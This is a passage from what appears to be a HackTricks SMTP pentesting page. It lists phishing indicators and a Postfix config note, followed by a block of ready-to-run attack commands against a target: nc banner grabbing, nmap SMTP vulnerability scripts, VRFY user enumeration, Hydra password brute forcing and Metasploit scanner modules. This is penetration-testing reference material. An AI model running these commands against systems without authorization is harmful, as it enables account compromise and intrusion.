[**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)<sup>[[8]](#references)</sup> 686 687 ### **Other phishing indicators** 688 689 - Domain’s age 690 - Links pointing to IP addresses 691 - Link manipulation techniques 692 - Suspicious (uncommon) attachments 693 - Broken email content 694 - Values used that are different to those of the mail headers 695 - Existence of a valid and trusted SSL certificate 696 - Submission of the page to web content filtering sites 697 698 ## Exfiltration through SMTP 699 700 **If you can send data via SMTP** [**read this**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/exfiltration.md#smtp)**.** 701 702 ## Config file 703 704 ### Postfix 705 706 When Postfix is installed, `/etc/postfix/master.cf` may define **scripts to execute** as part of mail handling. For example, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` runs `/etc/postfix/filtering` when a new message is received for user `mark`. 707 708 Other config files: 709 710 ```text 711 sendmail.cf 712 submit.cf 713 ``` 714 715 ## HackTricks Automatic Commands 716 717 ```text 718 Protocol_Name: SMTP #Protocol Abbreviation if there is one. 719 Port_Number: 25,465,587 #Comma separated if there is more than one. 720 Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out 721 722 Entry_1: 723 Name: Notes 724 Description: Notes for SMTP 725 Note: | 726 SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. 727 728 https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html 729 730 Entry_2: 731 Name: Banner Grab 732 Description: Grab SMTP Banner 733 Command: nc -vn {IP} 25 734 735 Entry_3: 736 Name: SMTP Vuln Scan 737 Description: SMTP Vuln Scan With Nmap 738 Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP} 739 740 Entry_4: 741 Name: SMTP User Enum 742 Description: Enumerate uses with smtp-user-enum 743 Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP} 744 745 Entry_5: 746 Name: SMTPS Connect 747 Description: Attempt to connect to SMTPS two different ways 748 Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587 749 750 Entry_6: 751 Name: Find MX Servers 752 Description: Find MX servers of an organization 753 Command: dig +short mx {Domain_Name} 754 755 Entry_7: 756 Name: Hydra Brute Force 757 Description: Need Nothing 758 Command: hydra -P {Big_Passwordlist} {IP} smtp -V 759 760 Entry_8: 761 Name: consolesless mfs enumeration 762 Description: SMTP enumeration without the need to run msfconsole 763 Note: sourced from https://github.com/carlospolop/legion 764 Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' 765 766 ``` 767 768 ## References 769 770 - [1] [XBOW – Dead.Letter (CVE-2026-45185): How XBOW Found an Unauthenticated RCE on Exim](https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim) 771 - [2] [RFC 3030 – SMTP Service Extensions for Transmission of Large and Binary MIME Messages](https://datatracker.ietf.org/doc/html/rfc3030) 772 - [3] [Username Enumeration Techniques and their Value](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) 773 - [4] [0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM](https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html) 774 - [5] [The Silent Inbox: How Verified Emails Slip Past Email Security Gateways](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/) 775 - [6] [Internal Information Disclosure using Hidden NTLM Authentication](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666) 776 - [7] [Postfix – SMTP relay and access control](https://www.postfix.org/SMTPD_ACCESS_README.html) 777 - [8] [seanthegeek.net - 459 - Demystifying Dmarc](https://seanthegeek.net/459/demystifying-dmarc) 778 - [9] [RFC 5321 – Simple Mail Transfer Protocol](https://www.rfc-editor.org/rfc/rfc5321) 779 - [10] [RFC 8314 – Cleartext Considered Obsolete: Use of TLS for Email Submission and Access](https://www.rfc-editor.org/rfc/rfc8314) 780 - [11] [RFC 7208 – Sender Policy Framework (SPF)](https://www.rfc-editor.org/rfc/rfc7208) 781 - [12] [RFC 6376 – DomainKeys Identified Mail (DKIM) Signatures](https://www.rfc-editor.org/rfc/rfc6376) 782 - [13] [RFC 7489 – Domain-based Message Authentication, Reporting, and Conformance (DMARC)](https://www.rfc-editor.org/rfc/rfc7489)